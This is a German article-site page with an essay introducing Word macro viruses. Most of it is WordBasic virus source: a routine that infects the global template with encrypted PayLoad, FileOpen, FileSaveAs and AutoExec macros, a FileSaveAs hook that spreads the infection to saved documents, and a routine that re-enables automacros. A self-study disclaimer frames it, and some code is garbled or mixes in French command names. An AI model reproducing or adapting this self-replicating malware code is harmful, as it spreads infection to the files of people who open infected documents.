Artikel pedia
| Home | Kontakt | Artikel einreichen | Oberseite 50 artikel | Oberseite 50 autors
 
 


Artikel kategorien
Letztes fugte hinzu
    Ms-access

   Instrumentation + schnittstellen

   Pc tuning - volle kraft voraus für ihr system

   Informatorische grundlagen

   Javascript

   Interne sortieralgorithmen - der kern der sache

   Plotter und sonstige drucker

   Frage 20 (rössl priska)

   Internet - programmierung

   Monitore

   Semesterarbeit und spezialgebiet für informatik

   Erörterungs zum thema

   Inhaltsverzeichnis

   Einführung in die entwicklung ganzheitlicher informationssysteme:

   Titel dokument
alle kategorien

  Eine kleine einführung in die funktionsweise von makroviren

Eine kleine Einführung in die Funktionsweise von Makroviren   1. Vorbereitung Diese Beschreibung dient dem Selbststudium über Funktionsweisen von Makroviren. Dieses Dokument soll nicht als Anleitung oder Ermutigung von Programmieren von Makroviren, Viren, oder anderen destruktiven Programmen ermutigen. Der Autor dieses Dokuments haftet für keine Schäden, die aus der direkten oder indirekten Verwendung dieses Dokumentes resultieren! Zu aller erst sollte man ein Backup der Datei “Normal.dot” im Word Vorlagen Verzeichnis machen, in der DOS-Box mit folgendem Kommando: copy normal.dot normal.

sav (im Word Vorlagen Verzeichnis).   2. Struktur Viele Makroviren haben eine einfache und übersichtliche Struktur, an der man sehr gut nachvollziehen kann, wie (generell) “qualitativ hochwertige” Viren programmiert werden. Obwohl die Implementationssprache (der BASIC-Dialekt “WordBasic”) keine besonders gute ist (Anachronismen => “goto”), ist der Quelltext doch verständlich. Um ein wenig mitzukommen, wie alles wirklich funktioniert, sollten sie die Hilfedatei zu WordBasic installiert haben und auch mindestens eine Programmiersprache (z.B.

PASCAL, besser noch TCL) beherrschen. Das hier ist eine erste Grundstruktur, die testet, ob eine Vorlage schon infiziert. Ist dieser Test negativ, so infiziert der Virus die Vorlage:   Sub MAIN ‘ Das ist ein Kommentar in BASIC On Error Goto Abort iMacroCount = CountMacros(0, 0) 'Auf eine bereits bestehende Infektion überprüfen For i = 1 To iMacroCount If MacroName$(i, 0, 0) = "PayLoad" Then bInstalled = - 1 'Gibt es schon ein PayLoad Makro? End If If MacroName$(i, 0, 0) = "FileSaveAs" Then bTooMuchTrouble = - 1 'Gibt es schon ein FileSaveAs, ist die Infektion zu kompliziert! End If Next i If Not bInstalled And Not bTooMuchTrouble Then 'Kopien von FileSaveAs und AutoExec anlegen 'Payload dient nur zum Überprüfen, ob die Vorlage schon infiziert ist. 'Das ,1 verschlüsselt alle Makros, damit sie nicht mehr in Word gelesen 'werden können. iWW6IInstance = Val(GetDocumentVar$("WW6Infector")) sMe$ = FileName$() Macro$ = sMe$ + ":PayLoad" MacroCopy Macro$, "Global:PayLoad", 1 Macro$ = sMe$ + ":FileOpen" MacroCopy Macro$, "Global:FileOpen", 1 Macro$ = sMe$ + ":FileSaveAs" MacroCopy Macro$, "Global:FileSaveAs", 1 Macro$ = sMe$ + ":AutoExec" MacroCopy Macro$, "Global:AutoExec", 1 SetProfileString "WW6I", Str$(iWW6IInstance + 1) End If Abort: End Sub   Das war die erste Grundstruktur eines Makrovirus. Dieser Quelltext funktioniert jedoch nur auf englischem Word 6 oder 7, in der deutschen Version versteht der Interpreter die englischen Befehle nicht.

Das habe ich aus Sicherheit gemacht, damit niemand dieses Dokument mißbrauchen kann (niemand wird ein englisches Word besitzen)!   Dieser Code wird in die SaveAs Routine eingebracht: Sub MAIN Dim dlg As FileSaveAs GetCurValues dlg Dialog dlg If (Dlg.Format = 0) Or (dlg.Format = 1) Then ‘Hier könnte man wieder das ,1 verwenden, um die Makros zu verschlüsseln! MacroCopy "FileSaveAs", WindowName$() + ":FileSaveAs" MacroCopy "FileSave ", WindowName$() + ":FileSave" MacroCopy "PayLoad", WindowName$() + ":PayLoad" MacroCopy "FileOpen", WindowName$() + ":FileOpen" Dlg.Format = 1 End If FileDaveAs dlg End Sub   Das ist bis jetzt ein ziemlich effektives Makro, um den Virus zu verbreiten. Nun gilt es auch, den Makrovirus zu verstecken oder eine Schadensroutine auszuführen (was natürlich destruktiv ist!).   Dazu kann man dieses Makro verwenden:   Sub MAIN On Error Goto ErrorRoutine   OldName$ = NomFichier$()   If macros.

bDebug Then MsgBox "start ToolsMacro" Dim dlg As OutilsMacro If macros.bDebug Then MsgBox "1" GetCurValues dlg If macros.bDebug Then MsgBox "2" On Error Goto Skip Dialog dlg OutilsMacro dlg Skip: On Error Goto ErrorRoutine End If   REM enable automacros DisableAutoMacros 0   macros.SavToGlobal(OldName$) macros.objectiv Goto Done   ErrorRoutine: On Error Goto Done If macros.bDebug Then MsgBox "error " + Str$(Err) + " occurred" End If   Done: End Sub   3.


Nachwort Diese Beispiele verdeutlichen, wie einfach es doch ist, seinen eigenen Makrovirus zu programmieren. Microsoft hat es wirklich leicht gemacht und auf viele Schutzfunktionen vergessen. Interessant werden auch Makroviren, deren Wirtsdokument von Word 95 auf Word 97/2000 konvertiert wird. Dies ist eine nicht zu unterschätzende Gefahr: dabei entstehen neue Versionen von bereits bekannten Viren, AntiViren-Programme müssen erst damit umgehen lernen (z.B. McAfee: Update der Virus Data Files ist dann notwendig).

Doch nur ca. 5 % aller Makroviren überleben diese Konvertierung, denn die Schutzfunktion in Word 97 sind um einiges strenger geworden.

Suchen artikel im kategorien
Schlüsselwort
  
Kategorien
  
  
   Zusammenfassung Der Vorleser

   sachtextanalyse

   interpretation zwist

   Fabel interpretation

   literarische charakteristik

   interpretation bender heimkehr

   felix lateinbuch

   interpretation der taucher von schiller

   textbeschreibung

   charakterisierung eduard selicke
Anmerkungen:

* Name:

* Email:

URL:


* Diskussion: (NO HTML)




| impressum | datenschutz

© Copyright Artikelpedia.com